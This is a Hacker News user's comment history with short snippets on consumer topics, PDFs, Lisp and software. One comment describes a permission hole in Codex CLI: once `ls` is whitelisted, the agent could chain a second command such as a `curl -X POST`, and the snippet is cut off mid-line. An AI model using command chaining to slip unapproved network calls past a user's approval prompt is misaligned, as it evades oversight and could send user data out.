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by diggan 1y ago
> Where's the best places to go for troubleshooting, user guides, etc? I guess general "laptop maintenance" guides should be good enough? Guides that mention things like "Clean out all the dust/vent-junk once eve
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by diggan 1y ago
> I just bought a 7840HS and now it's 7% off Write them and ask if you could get the rebate. The times I've had this happened to me when shopping from small/medium-sized businesses they've been nice enough to either g
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Wan-S2V: Audio-Driven Cinematic Video Generation(humanaigc.github.io)
2 points by diggan 1y ago|0 comments
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by diggan 1y ago
Or "VR Chat + Mostly human art and control but digital representation" ends up being more fun, engaging, cheap and/or humanizing. Wonder that the best accurate full-body tracking + VR headset one could put together today for
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by diggan 1y ago
Be a bit smooth about it: as you type in the order, verbally say out loud what you're entering with other words, then ask them to confirm. No lost time, potentially less people to deal with in the future, win-win.
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by diggan 1y ago
> but they make everything to order now. Hard to know for a fact without knowing where I live, I'm guessing :) FWIW, it's not true at McDonalds in Spain, they definitely have popular stuff sitting behind the counter for longer
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by diggan 1y ago
> Serving file content/diff requests from gitea/forgejo is quite expensive computationally One time, sure. But unauthenticated requests would surely be cached, authenticated ones skip the cache (just like HN works :) ), as most
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by diggan 1y ago
I almost always (except if there is a big queue) customize something, because then it's guaranteed made at the spot, instead of the heated old stuff. And since I started using the kiosks, the orders are always right, and fresh.
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by diggan 1y ago
> Customer says "I want a cheeseburger, plain", Mcdonalds puts that in as "Cheesebuger, no ketchup, mustard, onion or pickle". Customers will take plain to mean a dozen different things. Isn't it up to the person
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by diggan 1y ago
> It is pretty easy to use LaTeX for this. Without looking it up the arguments/syntax, how do I do "join page 2-3 from PDF A with page 7-23 from PDF B"? If it's more than one CLI invocation, easy to remember/find
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by diggan 1y ago
Woah, page-by-page? I wasn't aware of that, I guess I'll give it a try the next time I'm in front of a Mac and need to join PDFs again :)
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by diggan 1y ago
> A big part of the reason I don't go to McDonald's any more is that the experience of using the ordering kiosks is so awful compared to just telling a human what I want. Huh, for me is the polar opposite. Maybe it's becau
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by diggan 1y ago
> Also, nearly every enemy of the US is on Twitter under their official names. I'm not sure how fair argument that is. When you're literally the owner of the platform, of course you'd use your real name and the names of th
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by diggan 1y ago
Flashback to Sweden, around 2011 or so. Copyright owners convince the government to add a $/GB levy to digital storage mediums like USBs, just in case people would use it for storing copyrighted material. The kicker? Personally archivi
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by diggan 1y ago
> I struggle to generate more than a few hundred MBs per year There are so many (legal) use cases for TBs of space... Photography, video editing, 3D graphics, 3D simulations (think VFX explosions, destruction), ML/AI, Dataset curat
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by diggan 1y ago
> Are pop-ups ever not annoying? :) Pressing space to "preview" a file in Finder on macOS is pretty much "non-annoying popup", since you actually want it :)
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by diggan 1y ago
> joining multiple PDFs together What about joining page 2-3 from PDF A with page 7-23 from PDF B? I remember that being a huge hassle on macOS when I was using it years ago. Think I ended up using some cloud service/website for it
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by diggan 1y ago
I'm 99% Codex CLI suffers from this hole as we speak :) You can whitelist `ls`, and then Codex can decide to compose commands and you only need to approve the first one for the second one to run, so `ls && curl -X POST http:&#
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by diggan 1y ago
Of note: > Doesn't this undermine the security of Anubis? - It shouldn't do. The idea behind Anubis seems to be that mass scrapers can't be bothered to bypass it, not that they can't. But also, this tool doesn't
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Anubis_offload – userscript to offload Anubis PoW to native CPU or GPU code(github.com)
3 points by diggan 1y ago|1 comments
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by diggan 1y ago
> It is plain to see that the developers who prompted an LLM to generate this library will not have the same familiarity with the resulting code that they would have had they written it directly I think that's a bit too simplified.
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by diggan 1y ago
What about `(+ 1 1) or (quote (+ 1 1)) then?
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by diggan 1y ago
> wheels get reinvented again again again and again And yet, it took us (humans) a long time to turn the wheel around and using it for transportation, so maybe we need reinvent even more things, turn them around and such :)
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by diggan 1y ago
> Lisps are "homoiconic" in the sense that everything is a list, but honestly? That's not how I understand homoiconicity, "everything is a list" or not has nothing to do with it. The point is that whatever struct
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by diggan 1y ago
Yes, this is exactly my point :) Just like any good software developer who don't know exactly where their software will run, they test on the type of device that their users are likely to be running it with, or at least similar chara
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by diggan 1y ago
Yeah, I'll admit to not having tried Clearcam myself, I was just going by the information from the README as-is.
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by diggan 1y ago
Isn't the opening paragraph perfectly fine as it is? It was the first thing I read and I feel like I understand exactly what it is: > Seed is an interactive software environment. With it you can create and use computer programs in m
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by diggan 1y ago
I think what I was getting at, is the power this homoiconicity gives you when combined with macros, and I'm not sure how template strings would help with either. Say you want to have a function that receives the code passed into it, in
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by diggan 1y ago
> There is not 2 different kinds of code In Python in relation to ast, it does seem so yeah. If you add two numbers in Python code, it looks like `1 + 1`, but if you use the module from `Lib/ast.py` linked above, how would it look l
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by diggan 1y ago
> were forced to work on a much slower machine I feel like that's the wrong approach. Like saying a music producer to always work with horrible (think car or phone) speakers. True, you'll get a better mix and master if you test

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